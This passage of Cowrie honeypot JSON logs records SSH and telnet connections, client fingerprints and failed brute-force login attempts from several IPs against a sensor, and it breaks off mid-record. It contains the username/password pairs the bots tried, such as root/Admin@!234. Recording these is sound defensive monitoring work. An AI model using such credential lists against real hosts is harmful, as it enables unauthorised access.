{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:02.493638Z","src_ip":"14.63.196.175","session":"286d935ab7d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqQQ123123","message":"login attempt [root/qqQQ123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:03.336074Z","src_ip":"14.63.196.175","session":"286d935ab7d6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:03.421315Z","src_ip":"91.92.40.36","session":"9d38993a777c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:03.425093Z","src_ip":"91.92.40.36","session":"9d38993a777c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:04.540569Z","src_ip":"14.63.196.175","session":"286d935ab7d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36118,"dst_ip":"10.17.0.5","dst_port":22,"session":"771ab699c4d6","protocol":"ssh","message":"New connection: 91.92.40.36:36118 (10.17.0.5:22) [session: 771ab699c4d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:07.846467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:08.305273Z","src_ip":"91.92.40.36","session":"771ab699c4d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:09.604025Z","src_ip":"91.92.40.36","session":"771ab699c4d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"user","message":"login attempt [deployer/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:11.875031Z","src_ip":"91.92.40.36","session":"9d38993a777c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36182,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc81371baa37","protocol":"ssh","message":"New connection: 91.92.40.36:36182 (10.17.0.5:22) [session: bc81371baa37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:13.619479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:14.740955Z","src_ip":"91.92.40.36","session":"bc81371baa37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:14.743870Z","src_ip":"91.92.40.36","session":"bc81371baa37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:15.094533Z","src_ip":"91.92.40.36","session":"9d38993a777c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":40874,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ced1d37118b","protocol":"telnet","message":"New connection: 94.23.66.112:40874 (10.17.0.5:23) [session: 6ced1d37118b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:16.691086Z"}
{"eventid":"cowrie.login.failed","username":"abuse","password":"abuse","message":"login attempt [abuse/abuse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:16.715843Z","src_ip":"91.92.40.36","session":"771ab699c4d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28011988","message":"login attempt [root/28011988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:18.248876Z","src_ip":"91.92.40.36","session":"bc81371baa37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:19.061165Z","src_ip":"91.92.40.36","session":"771ab699c4d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:19.814473Z","src_ip":"91.92.40.36","session":"bc81371baa37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43574,"dst_ip":"10.17.0.5","dst_port":22,"session":"07c075aad7a6","protocol":"ssh","message":"New connection: 91.92.40.36:43574 (10.17.0.5:22) [session: 07c075aad7a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:23.295041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:23.651460Z","src_ip":"91.92.40.36","session":"07c075aad7a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:23.654296Z","src_ip":"91.92.40.36","session":"07c075aad7a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa111111.","message":"login attempt [root/Aa111111.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:25.410665Z","src_ip":"91.92.40.36","session":"07c075aad7a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:27.054026Z","src_ip":"91.92.40.36","session":"07c075aad7a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":42022,"dst_ip":"10.17.0.5","dst_port":23,"session":"f629257f27db","protocol":"telnet","message":"New connection: 94.23.66.112:42022 (10.17.0.5:23) [session: f629257f27db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:27.822552Z"}
{"eventid":"cowrie.session.closed","duration":4.5430896282196045,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:32.365484Z","src_ip":"94.23.66.112","session":"f629257f27db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16258,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7133c4e204e","protocol":"ssh","message":"New connection: 91.92.40.36:16258 (10.17.0.5:22) [session: b7133c4e204e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:33.517028Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":47852,"dst_ip":"159.203.135.109","dst_port":22,"session":"40a1cbece24d","protocol":"ssh","message":"New connection: 27.71.230.31:47852 (159.203.135.109:22) [session: 40a1cbece24d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:33.565199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:33.590623Z","src_ip":"27.71.230.31","session":"40a1cbece24d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:33.975382Z","src_ip":"91.92.40.36","session":"b7133c4e204e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:34.952402Z","src_ip":"91.92.40.36","session":"b7133c4e204e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:35.756103Z","src_ip":"27.71.230.31","session":"40a1cbece24d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36990,"dst_ip":"10.17.0.5","dst_port":22,"session":"4175863a4a68","protocol":"ssh","message":"New connection: 91.92.40.36:36990 (10.17.0.5:22) [session: 4175863a4a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:38.518744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:38.971412Z","src_ip":"91.92.40.36","session":"4175863a4a68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:38.974910Z","src_ip":"91.92.40.36","session":"4175863a4a68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tfj","password":"tfj","message":"login attempt [tfj/tfj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:39.915864Z","src_ip":"91.92.40.36","session":"b7133c4e204e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123","message":"login attempt [bot/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:40.819528Z","src_ip":"91.92.40.36","session":"4175863a4a68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@!234","message":"login attempt [root/Admin@!234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:40.900777Z","src_ip":"27.71.230.31","session":"40a1cbece24d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:42.405040Z","src_ip":"91.92.40.36","session":"4175863a4a68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:42.565195Z","src_ip":"91.92.40.36","session":"b7133c4e204e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:43.656848Z","src_ip":"27.71.230.31","session":"40a1cbece24d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37030,"dst_ip":"10.17.0.5","dst_port":22,"session":"0efada8576d8","protocol":"ssh","message":"New connection: 91.92.40.36:37030 (10.17.0.5:22) [session: 0efada8576d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:46.995324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:47.724210Z","src_ip":"91.92.40.36","session":"0efada8576d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecds